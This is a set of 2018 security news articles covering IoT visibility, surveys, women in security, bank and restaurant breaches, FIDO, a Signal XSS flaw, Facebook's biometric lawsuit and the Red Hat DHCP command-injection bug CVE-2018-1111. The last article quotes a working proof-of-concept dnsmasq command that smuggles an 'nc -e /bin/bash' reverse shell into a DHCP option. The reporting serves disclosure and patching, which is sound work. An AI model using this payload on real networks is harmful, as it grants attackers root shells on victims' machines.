STE WILLIAMS

If you don’t know what’s on your IoT network, you don’t know what to protect — or protect from. These tools provide visibility into your network so you can be safe with (and from) what you see.

(Image: Geralt)

It’s hard to protect what you don’t know you have. Put another way, it’s those “unknown unknowns” that tend to get you. And the number of unknown unknowns is increasing because of the rapid rise in enterprise IoT devices and the incredibly disruptive rise of the “shadow IoT” that parallels the shadow IT seen in the traditional IT space. That’s why one of the words most commonly heard at security conferences is “visibility,” and why getting a handle on what’s actually attached to the network is a critical step in any security plan.

It’s also why there are so many new tools for getting that critical visibility, all looking at the computing environment from different vantage points.

Visibility for security means knowing all of the devices attached to the network, all the software running on those devices, which cloud services they might be using, and more. Traditional instruments of network visibility – like the tap or span port – might not be enough for IoT. While these are valuable tools when use as part of non-destructive traffic flow analysis, they’re layer 1 devices that don’t, in and of themselves, provide the kind of network or IoT visibility that comes through the systems included here. They may provide access to the network, but they don’t provide analysis.

The good news is, the visibility-increasing IoT security-enabling tools listed here can help your IT team in more ways than one. The same tools that provide visibility for security can often provide visibility for management and operational analytics or other applications through APIs; or, improved visibility might be a critical piece of a larger IT solution.

Here are seven options for your security team to consider:

 

 

Curtis Franklin Jr. is Senior Editor at Dark Reading. In this role he focuses on product and technology coverage for the publication. In addition he works on audio and video programming for Dark Reading and contributes to activities at Interop ITX, Black Hat, INsecurity, and … View Full Bio

Article source: https://www.darkreading.com/endpoint/7-tools-for-stronger-iot-security-visibility/d/d-id/1331824?_mc=rss_x_drr_edt_aud_dr_x_x-rss-simple

RedHat Linux, together with its stablemates Fedora and CentOS, just patched a serious security bug.

This bug doesn’t need a fancy nickname, because it ended up (entirely by chance, of course) with a very memorable bug number: CVE-2018-1111.

Bug OneOneOneOne affects DHCP, short for dynamic host configuration protocol, a network-based system that helps you automate the process of getting computers to play nicely together online.

DHCP solves the problem of how to use the network itself to get a network number (in popular parlance, an IP address) in order to start using the network.

Without DHCP, you’d need to configure the IP address of each laptop, desktop or server on your network by hand.

You’d have to make sure that you didn’t accidentally give two different computers the same IP number, and in the event of an IP address collision you’d have to track down the culprits yourself and resolve the clash.

DHCP automates all this.

An unconfigured computer, called a DHCP client, pumps out a specially formatted network broadcast to say, “Tell me how to set myself up for the network”, and, if there’s a DHCP server on the network, it sends back a reply with everything the client needs to get connected.

The DHCP server typically dishes out your IP number, carefully avoiding collisions; tells you where to send your DNS queries; specifies the router to use to get onto the internet; and much more besides.

There are literally hundreds of different configuration options that a DHCP server can send back to a client, including where to find the official email gateway, what hostname to use, and which server to use as a web proxy.

When a DHCP client receives a reply, it needs to extract a bunch of data from the various options, such as “hostname = HAL” or “http_proxy = 192.0.2.245”, and then to hand this data over to a bunch of configuration programs.

On a Linux system, configuring network settings usually requires sysadmin privileges, so any scripts that deal with DHCP replies need to run as root.

Those configuration scripts had better be jolly careful with the data from the DHCP reply!

You can probably see where this is going.

RedHat-based Linux distros include a dhclient script as part of their NetworkManager package – until the latest NetworkManager security patch, this script could be tricked into running text provided in a DHCP reply as if it were a system command of its own.

What could go wrong… https://t.co/eUWA7L017n

—
Felix Wilhelm (@_fel1x) May 15, 2018

For example, under the guise of telling a RedHat computer “your web proxy can be found at 192.0.2.245”, you could instead tell it, “your web proxy is at…ahh, heck, forget that, open up a remote shell for me instead so I can login secretly and unofficially later on”.

Technically, this sort of bug is known as a command injection vulnerability, because it allows you to sneak in a command where you are supposed to supply data.

It’s also a root RCE, short for remote code execution, because you don’t need to login first, and because you get to run the remotely supplied code as a system administrator.

What to do?

• Patch early, patch often! This vulnerability was found, reported and fixed before it was publicised, so a prompt patch will keep you ahead of the crooks.
• Validate input! If you’re a programmer, always check and sanitise data sent in from outside before you use it. Be doubly careful of any data you send off to a system command, where certain characters (e.g. quote marks, semicolons, backslashes and ampersands) have special meanings.
• Don’t panic! An attacker needs to be able to send rogue DHCP replies in order to exploit this bug. By default, network routers don’t allow DHCP requests or replies through, as a safety and security precaution. The attacker therefore needs to be on your network already.

Of course, an attacker with a rogue DHCP server on your network is already in a powerful position, even after you’ve patched against this hole – with control over DHCP, they could hijack DNS, kick critical servers off your LAN, allow unauthorised clients to sneak on, divert your internet traffic, and much more.

Some network switches help you to protect against rogue DHCP servers in general, for example by swallowing DHCP replies that don’t come from a specific port. (Speak to your switch vendor and consider using those features if they’re available.)

On wireless networks, look for an option that keeps client computers firewalled off from one another to protect against DHCP spoofing and lots of other roguery.

Sophos Wi-Fi products call this client isolation – it’s especially relevant for guest or hotspot networks, because it stops ill-behaved or badly-configured visitors from spoiling things for everyone else.

Follow @NakedSecurity
Follow @duckblog

Article source: http://feedproxy.google.com/~r/nakedsecurity/~3/jkUjbQ2Tti4/

Few organizations have a security policy in place for Internet of Things devices, new survey shows.

Some 85% of IT professionals believe their country will suffer a major critical infrastructure cyberattack in the next five years and 64% say they’re more concerned this year than last about connected device threats in their organizations – and slightly fewer are actually doing anything about Internet of Things security.

The 2018 Internet of Evil Things Report, sponsored by Pwnie Express, surveyed more than 700 IT professionals who took the online survey via SurveyMonkey. Those responding have felt the effects of cybercrime, with more than 60% saying that their organization was hit by malware last year.

When it comes to future worries, 80% listed connected devices, from industrial control to employee wearables, as their major source of concern. But less than half say that they have technology in place to monitor and secure them. “Security has been traditional devices in traditional implementations, though BYOD stretched it a bit. But now, things that might have been air-gapped are being exposed to the Internet,” says Todd DeSisto, CEO of Pwnie Express.

“It’s a non-traditional solution stack. It’s not one hardware or software company; there aren’t standards, there are proprietary protocols, and the life-cycles are much different,” DeSisto explains, noting that many devices may be in place for decades rather than the three- to five years of a usual IT replacement cycle. And when the time for replacement rolls around, almost two-thirds of security professionals are often left out of the process.

“That doesn’t make sense,” he says.

Indeed, according to the report, 75% of organizations have a security policy in place for purchasing traditional IT devices, and nearly half have some sort of policy governing BYOD for the enterprise. When it comes to IoT devices, though, that number drops to one-third or less, depending on the nature of the connected device.

The responsibility for the security of all these devices falls squarely on the shoulders of IT security, according to the respondents, with 61% saying that the burden rests with professionals like themselves. Only 13% say that it should be up to manufacturers to make sure that the devices they design and sell should be secure from vulnerability to attack.

Related Content:

• Why Enterprises Can’t Ignore Third-Party IoT-Related Risks
• Gandcrab Ransomware Exploits Website Vulnerabilities
• Hide and Seek Brings Persistence to IoT Botnets
• 10 Lessons From an IoT Demo Lab

Curtis Franklin Jr. is Senior Editor at Dark Reading. In this role he focuses on product and technology coverage for the publication. In addition he works on audio and video programming for Dark Reading and contributes to activities at Interop ITX, Black Hat, INsecurity, and … View Full Bio

Article source: https://www.darkreading.com/endpoint/it-pros-worried-about-iot-but-not-prepared-to-secure-it/d/d-id/1331817?_mc=rss_x_drr_edt_aud_dr_x_x-rss-simple

It’s time to “do the right thing” when it comes to gender in the hiring and promotion of women in cybersecurity. Four women (and a man named John) offer practical solutions for shifting the balance.

Note to parents everywhere: If you want your daughter to rise to the top echelons of power in politics, business, entertainment, or cybersecurity, name them after me — John.

Or possibly James or Michael. That’s one (tongue-in-cheek) takeaway from a recent New York Times piece that found women in top jobs are so scarce as to be outnumbered by men named John, or other common names.

There are fewer women among Republican senators than there are men named John. There are fewer women among Fortune 500 CEOs than there are men named James. And there were fewer women among directors of top-grossing movies last year than there are men named James and Michael, according to the Times. You get the point: Women are woefully underrepresented in the halls of American power. The world of cybersecurity is no exception; women represent just 11% of cybersecurity professionals worldwide, according to a report from Forrester Research, with even fewer in leadership roles.

This gender disparity is hardly news, but the pace of change has been glacial, with only pockets of significant progress. I recently had the opportunity to speak with a number of women in leadership roles in cybersecurity. I’m writing this column because I believe their observations and ideas around this issue deserve broad notice. Full disclosure: I am named John and I’m not a woman. So, you may ask, what qualifies me to opine on this topic? Truthfully, nothing. However, as the CEO of an innovative technology company, I am passionate about mining every possible source of talent, whether it be technical, managerial, or leadership/executive. What follows is a roundup of practical solutions for increasing the proportion of women in cybersecurity positions.

Set Concrete Goals
Tammy Moskites is managing director and senior security executive with Accenture, which has more than 150,000 female employees, accounting for nearly 40% of its global workforce. According to Moskites, establishing concrete goals set at the highest levels of the company is key to achieving these impressive numbers. It’s also key to creating a pathway to arrive at full gender equality — an objective the company plans to reach by 2025. The consulting firm also plans to have 25% of its managing director positions filled by women. The progress and forward momentum the firm has attained come from visualizing progress and being specific about goals, Moskites says. Accenture is proof positive that goals can become reality and that change is possible.

Keep It Fun
Monica Pal, chief executive officer of 4iQ, sees the gender gap as having far-reaching implications. “To protect people and defend democracy in the 21st century, we need to attract more girls into cybersecurity and keep more women engaged once they start by taking a comprehensive approach,” she says. But just getting girls interested in coding or providing mentors for women in cybersecurity is not enough. Pal says we need to get more girls started on the journey and provide support for them every step of the way — and it has to be fun. “If it is not fun, girls will lose interest, and women will find environments that are more welcoming,” she says, noting that “a few strong souls will have the motivation and courage to stay on the path, but we need many more women on this journey to secure our future.”

Speak Up
Hannah Clifford, vice president of corporate development for Nehemiah Security, stresses the importance of speaking up — even if your viewpoint puts you in the minority. That’s how she got into the cybersecurity industry. At the time, she was studying for her MBA at the Fuqua School of Business in Durham, North Carolina. “I had a different opinion on a case study than my adjunct professor, who was a venture capitalist,” Clifford recalls. “He hired me after graduation for articulating a differing perspective on the case study versus the rest of the class, then asked me to help turn around a struggling portfolio company in the same industry.” Based in Tysons, Virginia, Nehemiah Security has three senior executives who are women. “As a high-growth company, we look to broaden the tent to hire the best people we can in the cyber industry,” she says.

Take the Plunge
Hemma Prafullchandra, HyTrust’s chief technology officer and executive vice president of products, has already achieved an accomplished career. She urges women to seek out technology positions and “take the plunge; you are more capable than you allow yourself to believe.” Prafullchandra says change needs to begin with each individual, and that lack of experience is not an automatic disqualification from advancing. Opportunities present themselves often, and you may well find yourself at a fork in the road that leads to potential advancement. “Don’t just look to your current capabilities and experiences,” she offers. “Recognize the new things you have learned and know that you can keep on learning. You will have the ability to fulfill a new role when the opportunity presents itself.”

Prafullchandra also underscores the importance of finding and developing sponsors for your advancement: “There are many who can fill the role of a mentor, and you may [want to] strategize different topics with different people [who] can provide meaningful and trusted advice. However, a sponsor lends their credibility and stakes their own reputation for you when they introduce, recommend, and support you for a project, role, or some other form of advancement in your career. [So], of course, you must earn that privilege through building your own reputation and network.”

In sum, reaching gender equality in cybersecurity is within our reach. We need to commit to goals and offer the support, mentoring, and coaching to make it happen. In recent months, I have written articles here on “automating ethics” and “doing the right thing” when it comes to either the operation or enforcement of security controls needed to run an IT infrastructure. It’s also time to “do the right thing” when it comes to gender in the hiring, promotion, and sponsorship of women in technology and cybersecurity in particular. I am on a mission to effect that change — in spite of my gender and name advantage.

Related Content:

• 10 Women in Security You May Not Know But Should
• Diversity: It’s About Inclusion
• Best Practices for Recruiting Retaining Women in Security

John De Santis has operated at the bleeding edge of innovation and business transformation for over 30 years — with international and US-based experience at venture-backed technology start-ups as well as large global public companies. Today, he leads HyTrust, whose … View Full Bio

Article source: https://www.darkreading.com/threat-intelligence/want-your-daughter-to-succeed-in-cyber-call-her-john/a/d-id/1331812?_mc=rss_x_drr_edt_aud_dr_x_x-rss-simple

Attack targeted nation’s bank payment system with shades of SWIFT heist.

Mexican central bank officials confirmed this week that a cyberattack against its payments system resulted in millions of dollars in losses to domestic banks.

The attacks reportedly were spotted in late April, and appear to be similar to those waged against the SWIFT inter-bank messaging system. Alejandro Diaz de Leon, head of Mexico’s central bank, said the attacks resulted in illicit transactions of $18 million to $20 million.

Mexico’s central bank in the wake of the attacks has created a cybersecurity division, and a one-day waiting period on electronic funds transfers of more than $2,500 has been instituted, according to reports.

Read more here and here. 

Dark Reading’s Quick Hits delivers a brief synopsis and summary of the significance of breaking news events. For more information from the original source of the news item, please follow the link provided in this article. View Full Bio

Article source: https://www.darkreading.com/attacks-breaches/hackers-stole-funds-from-mexican-banks/d/d-id/1331821?_mc=rss_x_drr_edt_aud_dr_x_x-rss-simple

Facebook joins Google, Microsoft, Amazon, and Intel, all among major influential tech companies backing FIDO authentication.

The FIDO Alliance has appointed Facebook to its board of directors, making the company one of several influential businesses to join the board in support FIDO Authentication. FIDO’s board already has representation from more than 30 organizations in tech, financial services, and ecommerce including Microsoft, Google, Amazon, Intel, PayPal, and Bank of America.

In an effort to swap passwords for simpler and more effective authentication, the FIDO Alliance creates specifications for authenticating PC platforms and Web and mobile applications. FIDO Authentication relies on security keys, biometrics, and on-device public key cryptography, which are more private and easier to use than passwords and other forms of authentication.

Facebook is new to the board but has been supporting FIDO Authentication adoption since January 2017; then, it gave its 2 billion users the option to use a FIDO-supported security key to access their accounts.

FIDO has also recently announced it will soon arrive on the browser with a new open standard called WebAuthn, which will make it easier for all services to implement more secure login methods. It’s currently supported in the newest version of Firefox and will be supported in new versions of Chrome and Edge over the next few months.

Read more details here.

Dark Reading’s Quick Hits delivers a brief synopsis and summary of the significance of breaking news events. For more information from the original source of the news item, please follow the link provided in this article. View Full Bio

Article source: https://www.darkreading.com/endpoint/fido-alliance-appoints-facebook-to-board-of-directors/d/d-id/1331822?_mc=rss_x_drr_edt_aud_dr_x_x-rss-simple

Researchers have discovered a serious cross-site scripting (XSS) vulnerability affecting all desktop versions of Edward Snowden’s favourite security application, Signal.

An XSS flaw is a nuisance in any application but in Signal, used by parties that want the highest levels of privacy, this is amplified.

An attacker posing as a contact could use the flaw to send a message containing a malicious URL to set up a range of code-injection compromises using image, audio or iFrame tags, or simply to make the software crash.

Researcher Iván Ariel Barrera Oro, the flaw’s co-discoverer, described how he had chanced upon the issue completely by accident:

The critical thing here was that it didn’t required any interaction from the victim, other than simply being in the conversation.

Which meant:

Inside iframes, everything was possible, even loading code from an SMB share! This enables an attacker to execute remote code without caring about CSP [Content Security Policy].

That’s not a compromise of the software’s end-to-end encryption, but it would be helpful to an attacker trying to trick a would-be victim into giving up information about themselves.

Designated CVE-2018-10994, the flaw affects all desktop versions (Windows, Mac, Linux) but not the mobile Android or iOS apps. The vulnerable versions are v1.7.1, v1.8.0, v1.9.0, and v1.10.0, fixed by upgrading to v1.10.1 or v1.11.0-beta.3.

A curious aspect of this flaw discovery is how quickly it was resolved – around three hours from an acknowledgement of the report to a fix.

After studying the file used to apply the patch, the researchers noticed it had originally been part of an update in mid-April that wasn’t applied for reasons unknown.

Signal’s patching crew have been busy recently. In April, a researcher discovered a way that someone with physical access to a device running the iOS version could bypass the screen lock.

Only days ago, a separate flaw was discovered in the Mac desktop application in which some time-limited or deleted messages were being copied to the notifications buffer.

Then there was the whole issue of the vulnerability in the Electron framework also used by Skype, Slack, Discord and others.

Perhaps the biggest headache of all for Signal has been the change in the weather over domain fronting, a technique used to make Signal (and other apps) harder to censor at ISP level.

This led to a cease and desist from Amazon over Signal’s use of AWS.

Bugs can be fixed, but beating censorship remains a full-time job.

Follow @johnedunn
Follow @NakedSecurity

Article source: http://feedproxy.google.com/~r/nakedsecurity/~3/tLaCv7b3zdo/

Three years ago, Facebook was hit with a class action lawsuit over allegedly violating privacy rights by “secretly” sticking users’ faces into its huge database without their consent.

No, you can’t wiggle out of this one, a San Francisco federal judge said a year later, refusing to approve Facebook’s request to toss the suit.

On Monday, he said it again. In his order, US District Judge James Donato scolded Facebook, noting “a troubling theme” in the social media network’s “voluminous” submissions (there have been hundreds of pages) of briefs, documents, emails, deposition testimony and expert opinions.

Namely, they show that Facebook’s reverting to “the faulty proposition” that plaintiffs must show an “actual” injury beyond the invasion of the privacy rights afforded by Illinois’s 2008 Biometric Information Privacy Act (BIPA), over which the class action suit was filed.

That’s not what the court’s prior decisions said, Donato wrote.

The Court expressly rejected that contention in considerable detail in the class certification order and the order finding… standing to sue.

A class was certified for that exact reason. BIPA does not require additional proof of individualized “actual” harm, and so the question of whether Facebook is liable can be decided in “one stroke” for the class as a whole without a likelihood that individualized inquiries would overwhelm commonality and predominance.

Donato said that to contend otherwise is to “misread and misrepresent the Court’s orders.”

Therefore, Facebook’s got to face the facial-recognition music, he said. Donato dismissed requests by both parties to get a summary judgment decision, given that the parties can’t agree on so many things, including whether the collection of “facial geometry” amounts to facial recognition or not.

From the order:

The parties unleash volleys of other competing evidence. [It’s up to a jury] to resolve the genuine factual disputes surrounding facial scanning and the recognition technology.

He also dismissed Facebook’s argument that it’s immune from having to pay a minimum of $1,000, and as much as $5,000, for each violation of the law. That’s “not a sound proposition,” Donato wrote.

The lawsuit is one of the first tests of BIPA.

The suit claims that the social network violated Illinois privacy laws by “secretly” amassing users’ biometric data without getting consent, collecting it and squirreling it away in what Facebook claims is the largest privately held database of facial recognition data in the world.

Specifically, the suit claims that Facebook didn’t do any of the following:

• Properly inform users that their biometric identifiers (face geometry) were being generated, collected or stored.
• Properly inform them, in writing, what it planned to do with their biometrics and how long the company planned to collect, store and use the data.
• Provide a publicly available retention schedule and guidelines for permanently destroying the biometric identifiers of users who don’t opt out of “Tag Suggestions”.
• Receive a written release from users to collect, capture, or otherwise obtain their biometric identifiers.

BIPA bans collecting and storing biometric data without explicit consent, including “faceprints.”

Facebook argued in its May 2016 motion to dismiss the suit that users can’t file a complaint under BIPA, since the Facebook user agreement says that California law would govern any disputes with the company. Besides, Facebook said in this earlier motion, BIPA doesn’t apply to Facebook’s facial tagging suggestions for photos.

Wrong and wrong again, Donato said in rejecting Facebook’s 2016 motion to dismiss: going by Illinois law is just fine.

Also, Facebook’s contention that BIPA doesn’t cover faceprints is likewise weak, he said, given that the law, written as it was in light of modern technology, “regulates the collection, retention, and disclosure of personal biometric identifiers and biometric information by “[m]ajor national corporations””, among others.

BIPA specifically defines “biometric identifier” as “a retina or iris scan, fingerprint, voiceprint, or scan of hand or face geometry,” Donato wrote.

A full trial is slated to start on 9 July.

Follow @LisaVaas
Follow @NakedSecurity

Article source: http://feedproxy.google.com/~r/nakedsecurity/~3/I1Z0DHXucrE/

Have you dug into a plate of Tex-Mex at Chili’s recently?

If so, it may be time for a potential case of indigestion. It’s not the food; it’s a point-of-sale (PoS) breach that Chili’s discovered on Friday. Its parent company, Brinker International, gave customers a heads-up on the same day.

On May 11 we learned that some of our Guests’ payment card information from certain restaurants was compromised. We… twitter.com/i/web/status/9…

—
Chili’s Grill Bar (@Chilis) May 12, 2018

Brinker doesn’t know how many restaurants were affected, nor how many people’s payment details got swept up by the thieves. It’s working with third-party forensics experts on the investigation, which is still assessing the scope of the breach. At this point, Brinker thinks it was limited to the past few months, between March and April.

From what it’s found so far, the company believes that malware was used to gather payment card information, including credit or debit card numbers and cardholder names from its PoS systems for in-restaurant purchases.

Brinker said that its Chili’s restaurants don’t collect taxpayer IDs, full date of birth, or federal or state identification numbers, so at least that sensitive data wasn’t compromised.

Poor Chili’s: it prides itself on being a technological innovator. In 2013, Chili’s claimed to have “revolutionized” the casual dining industry with tabletop tablets. In 2016, it introduced “a new era for online ordering” with features such as pre-order. It also announced the nationwide rollout of mobile payment on its tabletop tablets.

Unfortunately, payment systems can be both a technological innovation and a massive migraine.

We’ve seen at least 40 carwash PoS systems hacked, and their credit card data drained. In that case, the PoS system manufacturer, Micrologic, pointed the finger at vulnerabilities in the remote-access software.

That was in 2013. A year that was ushered in with a new Citadel Trojan malware variant crafted to attack POS systems using a Canadian payment card processor, closed out with the whale-sized PoS breach at Target in November, and stuffed with plenty of PoS breaches at restaurants, hotels, grocery stores, and other brick-and-mortar retailers sandwiched in between.

Restaurants that have been hit by data breaches more recently include Panera, which had a leaky database on its website for eight months. The records belonged to customers who had registered for a program to order food online.

In March, Applebee’s found PoS malware on payment systems in 167 locations across 15 states, potentially exposing customer credit card data.

Chili’s may be a technology innovator, but it’s just the latest victim of having those innovations pried open by crooks.

Brinker is advising customers who ate at a Chili’s restaurant during March or April to check their credit report and credit card statements, and to consider putting a security freeze on their credit account. The company’s advisory has details on who to contact to get all that done.

Follow @LisaVaas
Follow @NakedSecurity

Article source: http://feedproxy.google.com/~r/nakedsecurity/~3/reKdyqANh-k/

Red Hat has announced a critical vulnerability in its DHCP client and while it doesn’t have a brand name it does have a Tweetable proof-of-concept.

Discovered by Googler Felix Wilhelm, CVE-2018-1111 is a command injection bug in the Red Hat Enterprise Linux and derivative DHCP clients.

Wilhelm Tweeted: “CVE 2018-1111 is a pretty bad DHCP remote root command injection affecting Red Hat derivates: https://access.redhat.com/security/vulnerabilities/3442151 …. Exploit fits in a tweet so you should patch as soon as possible.”

Here, IN a Tweet from Barkın Kılıç, is the PoC:

#CVE-2018-1111 tweetable PoC :) dnsmasq –interface=eth0 –bind-interfaces –except-interface=lo –dhcp-range=10.1.1.1,10.1.1.10,1h –conf-file=/dev/null –dhcp-option=6,10.1.1.1 –dhcp-option=3,10.1.1.1 –dhcp-option=”252,x’nc -e /bin/bash 10.1.1.1 1337 #” cc: @cnbrkbolat pic.twitter.com/vUICm2HluC

— Barkın Kılıç (@Barknkilic) May 15, 2018

(The third image in that Tweet shows the attacker accessing the shell as root.) ‏ Red Hat explained that “A malicious DHCP server, or an attacker on the local network able to spoof DHCP responses, could use this flaw to execute arbitrary commands with root privileges on systems using NetworkManager and configured to obtain network configuration using the DHCP protocol.”

Here’s the full list of affected RHEL versions: Advanced Update Support 6.4; Extended Update Support 7.3; Advanced Update Support 6.6; Red Hat Enterprise Linux 6; Extended Update Support 6.7; Advanced Update Support 7.2; Server TUS (v.6.6); RHEL 7; Extended Update Support 7.4; Virtualization 4 Management Agent for RHEL 7 Hosts; Advanced Update Support 6.5; and Linux Server TUS (v. 7.2).

Red Hat’s update services for SAP Solutions on x86 and IBM Power architectures are also affected. ®

Sponsored:
Minds Mastering Machines – Call for papers now open

Article source: http://go.theregister.com/feed/www.theregister.co.uk/2018/05/16/red_hat_dhcp_client_bug/